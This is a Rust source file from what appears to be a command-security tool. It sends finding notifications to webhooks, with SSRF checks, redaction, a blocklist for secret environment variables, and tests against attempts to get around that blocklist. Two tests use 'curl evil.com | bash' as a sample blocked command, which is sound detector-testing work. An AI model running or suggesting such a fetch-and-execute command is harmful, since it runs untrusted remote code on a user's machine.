Skip to main content

tirith_core/
webhook.rs

1/// Webhook event dispatcher for finding notifications.
2///
3/// Unix-only (ADR-8): depends on reqwest. Non-blocking: fires in a background
4/// thread so it never delays the verdict exit code.
5use crate::policy::WebhookConfig;
6use crate::verdict::{Severity, Verdict};
7
8/// Dispatch webhook notifications for a verdict, if configured.
9///
10/// Spawns a background thread per webhook endpoint. The main thread is never
11/// blocked. Auxiliary delivery/configuration diagnostics are debug-only so
12/// shell hooks don't turn best-effort webhook failures into native-command
13/// noise.
14#[cfg(unix)]
15pub fn dispatch(
16    verdict: &Verdict,
17    command_preview: &str,
18    webhooks: &[WebhookConfig],
19    custom_dlp_patterns: &[String],
20) {
21    if webhooks.is_empty() {
22        return;
23    }
24
25    // Apply DLP redaction: built-in patterns + custom policy patterns (Team)
26    let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);
27
28    let max_severity = verdict
29        .findings
30        .iter()
31        .map(|f| f.severity)
32        .max()
33        .unwrap_or(Severity::Info);
34
35    for wh in webhooks {
36        if max_severity < wh.min_severity {
37            continue;
38        }
39
40        // SSRF protection: validate webhook URL
41        if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
42            crate::audit::audit_diagnostic(format!(
43                "tirith: webhook: skipping {}: {reason}",
44                wh.url
45            ));
46            continue;
47        }
48
49        let payload = build_payload(verdict, &redacted_preview, wh);
50        let url = wh.url.clone();
51        let headers = expand_env_headers(&wh.headers);
52
53        std::thread::spawn(move || {
54            if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
55                crate::audit::audit_diagnostic(format!(
56                    "tirith: webhook delivery to {url} failed: {e}"
57                ));
58            }
59        });
60    }
61}
62
63/// No-op on non-Unix platforms.
64#[cfg(not(unix))]
65pub fn dispatch(
66    _verdict: &Verdict,
67    _command_preview: &str,
68    _webhooks: &[WebhookConfig],
69    _custom_dlp_patterns: &[String],
70) {
71}
72
73/// Build the webhook payload from a template or default JSON.
74#[cfg(unix)]
75fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
76    if let Some(ref template) = wh.payload_template {
77        let rule_ids: Vec<String> = verdict
78            .findings
79            .iter()
80            .map(|f| f.rule_id.to_string())
81            .collect();
82        let max_severity = verdict
83            .findings
84            .iter()
85            .map(|f| f.severity)
86            .max()
87            .unwrap_or(Severity::Info);
88
89        let result = template
90            .replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
91            .replace("{{command_preview}}", &sanitize_for_json(command_preview))
92            .replace(
93                "{{action}}",
94                &sanitize_for_json(&format!("{:?}", verdict.action)),
95            )
96            .replace(
97                "{{severity}}",
98                &sanitize_for_json(&max_severity.to_string()),
99            )
100            .replace("{{finding_count}}", &verdict.findings.len().to_string());
101        // Only use template result if it's valid JSON
102        if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
103            return result;
104        }
105        crate::audit::audit_diagnostic(
106            "tirith: webhook: warning: payload template produced invalid JSON, using default payload"
107        );
108    }
109
110    // Default JSON payload (also used as fallback when template produces invalid JSON)
111    let rule_ids: Vec<String> = verdict
112        .findings
113        .iter()
114        .map(|f| f.rule_id.to_string())
115        .collect();
116    let max_severity = verdict
117        .findings
118        .iter()
119        .map(|f| f.severity)
120        .max()
121        .unwrap_or(Severity::Info);
122
123    serde_json::json!({
124        "event": "tirith_finding",
125        "action": format!("{:?}", verdict.action),
126        "severity": max_severity.to_string(),
127        "rule_ids": rule_ids,
128        "finding_count": verdict.findings.len(),
129        "command_preview": sanitize_for_json(command_preview),
130    })
131    .to_string()
132}
133
134/// Expand environment variables in header values (`$VAR` or `${VAR}`).
135#[cfg(unix)]
136fn expand_env_headers(
137    headers: &std::collections::HashMap<String, String>,
138) -> Vec<(String, String)> {
139    headers
140        .iter()
141        .map(|(k, v)| {
142            let expanded = expand_env_value(v);
143            (k.clone(), expanded)
144        })
145        .collect()
146}
147
148/// Expand `$VAR` and `${VAR}` references in a string.
149#[cfg(unix)]
150fn expand_env_value(input: &str) -> String {
151    let mut result = String::with_capacity(input.len());
152    let mut chars = input.chars().peekable();
153
154    while let Some(c) = chars.next() {
155        if c == '$' {
156            if chars.peek() == Some(&'{') {
157                chars.next(); // consume '{'
158                let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
159                if !var_name.starts_with("TIRITH_") {
160                    crate::audit::audit_diagnostic(format!(
161                        "tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)"
162                    ));
163                } else if is_sensitive_webhook_env_var(&var_name) {
164                    crate::audit::audit_diagnostic(format!(
165                        "tirith: webhook: sensitive env var '{var_name}' blocked"
166                    ));
167                } else {
168                    match std::env::var(&var_name) {
169                        Ok(val) => result.push_str(&val),
170                        Err(_) => {
171                            crate::audit::audit_diagnostic(format!(
172                                "tirith: webhook: warning: env var '{var_name}' is not set"
173                            ));
174                        }
175                    }
176                }
177            } else {
178                // CR-6: Use peek to avoid consuming the delimiter character
179                let mut var_name = String::new();
180                while let Some(&ch) = chars.peek() {
181                    if ch.is_ascii_alphanumeric() || ch == '_' {
182                        var_name.push(ch);
183                        chars.next();
184                    } else {
185                        break; // Don't consume the delimiter
186                    }
187                }
188                if !var_name.is_empty() {
189                    if !var_name.starts_with("TIRITH_") {
190                        crate::audit::audit_diagnostic(format!(
191                            "tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)"
192                        ));
193                    } else if is_sensitive_webhook_env_var(&var_name) {
194                        crate::audit::audit_diagnostic(format!(
195                            "tirith: webhook: sensitive env var '{var_name}' blocked"
196                        ));
197                    } else {
198                        match std::env::var(&var_name) {
199                            Ok(val) => result.push_str(&val),
200                            Err(_) => {
201                                crate::audit::audit_diagnostic(format!(
202                                    "tirith: webhook: warning: env var '{var_name}' is not set"
203                                ));
204                            }
205                        }
206                    }
207                }
208            }
209        } else {
210            result.push(c);
211        }
212    }
213
214    result
215}
216
217#[cfg(unix)]
218fn is_sensitive_webhook_env_var(var_name: &str) -> bool {
219    matches!(var_name, "TIRITH_API_KEY" | "TIRITH_LICENSE")
220}
221
222/// Send a webhook with exponential backoff retry.
223#[cfg(unix)]
224fn send_with_retry(
225    url: &str,
226    payload: &str,
227    headers: &[(String, String)],
228    max_attempts: u32,
229) -> Result<(), String> {
230    let client = reqwest::blocking::Client::builder()
231        .timeout(std::time::Duration::from_secs(10))
232        .build()
233        .map_err(|e| format!("client build: {e}"))?;
234
235    for attempt in 0..max_attempts {
236        let mut req = client
237            .post(url)
238            .header("Content-Type", "application/json")
239            .body(payload.to_string());
240
241        for (key, value) in headers {
242            req = req.header(key, value);
243        }
244
245        match req.send() {
246            Ok(resp) if resp.status().is_success() => return Ok(()),
247            Ok(resp) => {
248                let status = resp.status();
249                // SF-16: Don't retry client errors (4xx) — they will never succeed
250                if status.is_client_error() {
251                    return Err(format!("HTTP {status} (non-retriable client error)"));
252                }
253                if attempt + 1 < max_attempts {
254                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
255                    std::thread::sleep(delay);
256                } else {
257                    return Err(format!("HTTP {status} after {max_attempts} attempts"));
258                }
259            }
260            Err(e) => {
261                if attempt + 1 < max_attempts {
262                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
263                    std::thread::sleep(delay);
264                } else {
265                    return Err(format!("{e} after {max_attempts} attempts"));
266                }
267            }
268        }
269    }
270
271    Err("exhausted retries".to_string())
272}
273
274/// Sanitize a string for safe embedding in JSON (limit length, escape special chars).
275fn sanitize_for_json(input: &str) -> String {
276    let truncated: String = input.chars().take(200).collect();
277    // Use serde_json to properly escape the string
278    let json_val = serde_json::Value::String(truncated);
279    // Strip the surrounding quotes from the JSON string
280    let s = json_val.to_string();
281    s[1..s.len() - 1].to_string()
282}
283
284#[cfg(test)]
285mod tests {
286    use super::*;
287
288    #[test]
289    fn test_sanitize_for_json() {
290        assert_eq!(sanitize_for_json("hello"), "hello");
291        assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
292        assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
293    }
294
295    #[test]
296    fn test_sanitize_for_json_truncates() {
297        let long = "x".repeat(500);
298        let result = sanitize_for_json(&long);
299        assert_eq!(result.len(), 200);
300    }
301
302    #[cfg(unix)]
303    #[test]
304    fn test_expand_env_value() {
305        let _guard = crate::TEST_ENV_LOCK
306            .lock()
307            .unwrap_or_else(|e| e.into_inner());
308        unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
309        assert_eq!(
310            expand_env_value("Bearer $TIRITH_TEST_WH"),
311            "Bearer secret123"
312        );
313        assert_eq!(
314            expand_env_value("Bearer ${TIRITH_TEST_WH}"),
315            "Bearer secret123"
316        );
317        assert_eq!(expand_env_value("no vars"), "no vars");
318        unsafe { std::env::remove_var("TIRITH_TEST_WH") };
319    }
320
321    #[cfg(unix)]
322    #[test]
323    fn test_expand_env_value_preserves_delimiter() {
324        let _guard = crate::TEST_ENV_LOCK
325            .lock()
326            .unwrap_or_else(|e| e.into_inner());
327        // CR-6: The character after $VAR must not be swallowed
328        unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
329        assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
330        assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
331        unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
332    }
333
334    #[cfg(unix)]
335    #[test]
336    fn test_expand_env_value_blocks_sensitive_vars() {
337        let _guard = crate::TEST_ENV_LOCK
338            .lock()
339            .unwrap_or_else(|e| e.into_inner());
340        unsafe {
341            std::env::set_var("TIRITH_API_KEY", "secret-api-key");
342            std::env::set_var("TIRITH_LICENSE", "secret-license");
343        }
344        assert_eq!(expand_env_value("Bearer $TIRITH_API_KEY"), "Bearer ");
345        assert_eq!(expand_env_value("${TIRITH_LICENSE}"), "");
346        unsafe {
347            std::env::remove_var("TIRITH_API_KEY");
348            std::env::remove_var("TIRITH_LICENSE");
349        }
350    }
351
352    // -----------------------------------------------------------------------
353    // Adversarial bypass attempts: sensitive env var exfiltration
354    // -----------------------------------------------------------------------
355
356    #[cfg(unix)]
357    #[test]
358    fn test_bypass_sensitive_var_both_forms() {
359        let _guard = crate::TEST_ENV_LOCK
360            .lock()
361            .unwrap_or_else(|e| e.into_inner());
362        unsafe {
363            std::env::set_var("TIRITH_API_KEY", "leaked");
364            std::env::set_var("TIRITH_LICENSE", "leaked");
365        }
366        // $VAR form
367        assert!(!expand_env_value("$TIRITH_API_KEY").contains("leaked"));
368        assert!(!expand_env_value("$TIRITH_LICENSE").contains("leaked"));
369        // ${VAR} form
370        assert!(!expand_env_value("${TIRITH_API_KEY}").contains("leaked"));
371        assert!(!expand_env_value("${TIRITH_LICENSE}").contains("leaked"));
372        // Embedded in header value
373        assert!(!expand_env_value("Bearer ${TIRITH_API_KEY}").contains("leaked"));
374        assert!(!expand_env_value("token=$TIRITH_API_KEY&extra").contains("leaked"));
375        unsafe {
376            std::env::remove_var("TIRITH_API_KEY");
377            std::env::remove_var("TIRITH_LICENSE");
378        }
379    }
380
381    #[cfg(unix)]
382    #[test]
383    fn test_bypass_case_variation_is_different_var() {
384        let _guard = crate::TEST_ENV_LOCK
385            .lock()
386            .unwrap_or_else(|e| e.into_inner());
387        // Unix env vars are case-sensitive: TIRITH_api_key != TIRITH_API_KEY
388        // The blocklist is exact-match, so a case variant is a DIFFERENT var.
389        // This is correct — TIRITH_api_key is not a real sensitive var.
390        unsafe { std::env::set_var("TIRITH_api_key", "not-sensitive") };
391        assert_eq!(
392            expand_env_value("$TIRITH_api_key"),
393            "not-sensitive",
394            "Case-different var name should expand (it's a different var)"
395        );
396        unsafe { std::env::remove_var("TIRITH_api_key") };
397    }
398
399    #[cfg(unix)]
400    #[test]
401    fn test_bypass_non_sensitive_tirith_var_still_expands() {
402        let _guard = crate::TEST_ENV_LOCK
403            .lock()
404            .unwrap_or_else(|e| e.into_inner());
405        unsafe { std::env::set_var("TIRITH_ORG_NAME", "myorg") };
406        assert_eq!(expand_env_value("$TIRITH_ORG_NAME"), "myorg");
407        assert_eq!(expand_env_value("${TIRITH_ORG_NAME}"), "myorg");
408        unsafe { std::env::remove_var("TIRITH_ORG_NAME") };
409    }
410
411    #[cfg(unix)]
412    #[test]
413    fn test_bypass_double_dollar_does_not_expand() {
414        let _guard = crate::TEST_ENV_LOCK
415            .lock()
416            .unwrap_or_else(|e| e.into_inner());
417        unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
418        // $$TIRITH_API_KEY: first $ sees second $ which is not '{' or alnum,
419        // so it becomes a literal '$', then the second $ starts a new expansion
420        // which hits the blocklist.
421        let result = expand_env_value("$$TIRITH_API_KEY");
422        assert!(
423            !result.contains("leaked"),
424            "Double-dollar must not leak: got {result}"
425        );
426        unsafe { std::env::remove_var("TIRITH_API_KEY") };
427    }
428
429    #[cfg(unix)]
430    #[test]
431    fn test_bypass_nested_braces_does_not_expand() {
432        let _guard = crate::TEST_ENV_LOCK
433            .lock()
434            .unwrap_or_else(|e| e.into_inner());
435        unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
436        // ${TIRITH_${NESTED}} — the inner ${...} is consumed as the var name
437        // "TIRITH_${NESTED" (take_while stops at '}'), which doesn't start
438        // with TIRITH_ in any meaningful way that resolves.
439        let result = expand_env_value("${TIRITH_${NESTED}}");
440        assert!(
441            !result.contains("leaked"),
442            "Nested braces must not leak: got {result}"
443        );
444        unsafe { std::env::remove_var("TIRITH_API_KEY") };
445    }
446
447    #[cfg(unix)]
448    #[test]
449    fn test_build_default_payload() {
450        use crate::verdict::{Action, Finding, RuleId, Timings};
451
452        let verdict = Verdict {
453            action: Action::Block,
454            findings: vec![Finding {
455                rule_id: RuleId::CurlPipeShell,
456                severity: Severity::High,
457                title: "test".into(),
458                description: "test desc".into(),
459                evidence: vec![],
460                human_view: None,
461                agent_view: None,
462                mitre_id: None,
463                custom_rule_id: None,
464            }],
465            tier_reached: 3,
466            bypass_requested: false,
467            bypass_honored: false,
468            interactive_detected: false,
469            policy_path_used: None,
470            timings_ms: Timings::default(),
471            urls_extracted_count: None,
472            requires_approval: None,
473            approval_timeout_secs: None,
474            approval_fallback: None,
475            approval_rule: None,
476            approval_description: None,
477        };
478
479        let wh = WebhookConfig {
480            url: "https://example.com/webhook".into(),
481            min_severity: Severity::High,
482            headers: std::collections::HashMap::new(),
483            payload_template: None,
484        };
485
486        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
487        let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
488        assert_eq!(parsed["event"], "tirith_finding");
489        assert_eq!(parsed["finding_count"], 1);
490        assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
491    }
492
493    #[cfg(unix)]
494    #[test]
495    fn test_build_template_payload() {
496        use crate::verdict::{Action, Finding, RuleId, Timings};
497
498        let verdict = Verdict {
499            action: Action::Block,
500            findings: vec![Finding {
501                rule_id: RuleId::CurlPipeShell,
502                severity: Severity::High,
503                title: "test".into(),
504                description: "test desc".into(),
505                evidence: vec![],
506                human_view: None,
507                agent_view: None,
508                mitre_id: None,
509                custom_rule_id: None,
510            }],
511            tier_reached: 3,
512            bypass_requested: false,
513            bypass_honored: false,
514            interactive_detected: false,
515            policy_path_used: None,
516            timings_ms: Timings::default(),
517            urls_extracted_count: None,
518            requires_approval: None,
519            approval_timeout_secs: None,
520            approval_fallback: None,
521            approval_rule: None,
522            approval_description: None,
523        };
524
525        let wh = WebhookConfig {
526            url: "https://example.com/webhook".into(),
527            min_severity: Severity::High,
528            headers: std::collections::HashMap::new(),
529            payload_template: Some(
530                r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
531            ),
532        };
533
534        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
535        assert!(payload.contains("curl_pipe_shell"));
536        assert!(payload.contains("curl evil.com"));
537    }
538}